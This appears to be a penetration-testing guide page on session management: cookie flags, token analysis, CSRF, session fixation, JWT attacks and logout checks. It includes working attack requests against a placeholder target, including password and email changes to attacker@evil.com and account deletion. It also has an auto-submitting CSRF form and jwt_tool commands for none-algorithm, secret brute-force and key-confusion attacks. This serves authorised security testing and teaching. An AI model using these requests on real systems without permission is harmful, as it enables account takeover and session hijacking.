Skip to main content

Session Management Testing

WSTG-SESS-01 through WSTG-SESS-09


Goal​

Sessions are how a web application maintains authenticated state between HTTP requests. Weaknesses here let you steal, forge, or abuse session tokens to impersonate authenticated users - often without needing credentials at all.


The session cookie is the primary target. Inspect every aspect of it.

# Capture cookies from a login response
curl -si -X POST http://target.com/login \
-d "username=admin&password=password" | grep -i "set-cookie"

# Follow redirects and show all headers
curl -siL -X POST http://target.com/login \
-d "username=admin&password=password" | grep -i "set-cookie"

Every session cookie should have all three security flags. Missing flags are findings.

FlagPurposeImpact if Missing
SecureCookie only sent over HTTPSCookie transmitted in cleartext over HTTP - interceptable on the network
HttpOnlyCookie not accessible via JavaScriptAllows XSS to steal the session token via document.cookie
SameSite=Strict/LaxCookie not sent with cross-site requestsCSRF attacks possible
# Example of a well-configured session cookie:
# Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Strict

# Example of a poorly configured session cookie (all flags missing):
# Set-Cookie: PHPSESSID=abc123; Path=/
# Check Domain and Path attributes
# Domain=.target.com - cookie sent to ALL subdomains (including potentially attacker-controllable ones)
# Path=/ - cookie sent to all paths
# Restricted Path - e.g. Path=/app/ - better scoped, but test if accessible outside the path

Session Token Analysis​

Analyze the token value itself.

# Decode common encoding
echo "YWJjMTIz" | base64 -d # Base64
echo "616263313233" | xxd -r -p # Hex

# If the token looks like JSON (JWT), decode each part
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature" | \
cut -d'.' -f2 | base64 -d 2>/dev/null

Questions to ask about the token:

  • Is it long enough? Tokens shorter than 128 bits (16 bytes) are potentially brute-forceable
  • Is it predictable? Log in multiple times - do tokens follow a pattern or increment?
  • Does it encode user data? (base64-decoded token containing user=admin) - try modifying it
  • Is it signed? If not, modification may be trivially possible

CSRF Testing​

Cross-Site Request Forgery exploits the fact that browsers automatically attach cookies to requests. If a state-changing request doesn't validate that it originated from the legitimate site, an attacker can trick a logged-in user into performing it.

What to look for:

  • Any request that changes state (password change, email change, account settings, data modification)
  • Is there a CSRF token in the form or request header?
  • Is that token validated server-side? (test by removing it or using a static/fake value)
  • Does SameSite=Strict/Lax on the cookie mitigate it?
# Test 1: Remove CSRF token - does the request succeed?
curl -si -X POST http://target.com/change-password \
-H "Cookie: session=YOUR_SESSION_TOKEN" \
-d "new_password=Hacked123"
# No csrf_token field included - if it succeeds, CSRF is present

# Test 2: Submit a static/fake CSRF token
curl -si -X POST http://target.com/change-email \
-H "Cookie: session=YOUR_SESSION_TOKEN" \
-d "email=attacker@evil.com&csrf_token=fakefakefake"
# If it succeeds, the token exists but isn't validated

# Test 3: Cross-origin request - change the Referer/Origin headers
curl -si -X POST http://target.com/account/delete \
-H "Cookie: session=YOUR_SESSION_TOKEN" \
-H "Origin: http://evil.com" \
-H "Referer: http://evil.com/csrf.html" \
-d "confirm=yes"
tip

CSRF proof-of-concept: If you confirm CSRF is possible, draft a simple HTML page that auto-submits the request - this demonstrates the real-world impact:

<form action="http://target.com/change-password" method="POST">
<input type="hidden" name="new_password" value="Hacked123">
</form>
<script>document.forms[0].submit();</script>

Session Fixation​

Session fixation occurs when an application accepts a session ID supplied by the client before authentication, and then reuses that same session ID after successful login. This allows an attacker who can set a victim's session cookie (via XSS, subdomain takeover, etc.) to take over their post-login session.

# Test: supply a known session ID in the request before login
curl -si -X POST http://target.com/login \
-H "Cookie: session=ATTACKER_CONTROLLED_TOKEN" \
-d "username=admin&password=password"

# Check the response: does the Set-Cookie header return the SAME token,
# or does it issue a new one?
# Same token after login = session fixation vulnerability

JWT (JSON Web Token) Testing​

JWTs are commonly used as session tokens in APIs and modern web apps. Each JWT has three parts: header.payload.signature. The header specifies the algorithm; the payload carries claims; the signature validates integrity.

# Decode a JWT manually
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature"
echo $JWT | cut -d'.' -f1 | base64 -d 2>/dev/null # Header
echo $JWT | cut -d'.' -f2 | base64 -d 2>/dev/null # Payload

jwt_tool - JWT analysis and exploitation​

# Decode and inspect
jwt_tool <TOKEN>

# Test for none algorithm attack (remove signature validation)
jwt_tool <TOKEN> -X a

# Brute force HS256 secret
jwt_tool <TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# RS256 to HS256 confusion attack (sign with public key as HMAC secret)
jwt_tool <TOKEN> -X k -pk public.pem

# Inject custom claims (after breaking/knowing the secret)
jwt_tool <TOKEN> -T # Interactive tamper mode

Common JWT vulnerabilities:

AttackWhat to Look Forjwt_tool Flag
alg: noneServer accepts unsigned token-X a
Weak secretHS256 with a guessable/short secret-C -d wordlist
RS256 β†’ HS256 confusionServer uses same key for both algorithms-X k
Claim tamperingrole, admin, user_id in payload-T
Expired token acceptedexp claim ignoredManually set past expiry

Session Termination Testing​

# Log out, then try reusing the old session token
# 1. Capture session token before logout
SESSION="abc123"

# 2. Log out
curl -si http://target.com/logout -H "Cookie: session=$SESSION"

# 3. Try accessing a protected resource with the old token
curl -si http://target.com/dashboard -H "Cookie: session=$SESSION"
# If it returns the protected page, sessions aren't properly invalidated on logout

Also test:

  • Session expiry: Is the Expires or Max-Age set on the cookie? Does the server actually expire it after inactivity?
  • Session after password change: Does changing a password invalidate all other active sessions?
  • Concurrent sessions: Can the same account be logged in from multiple locations simultaneously?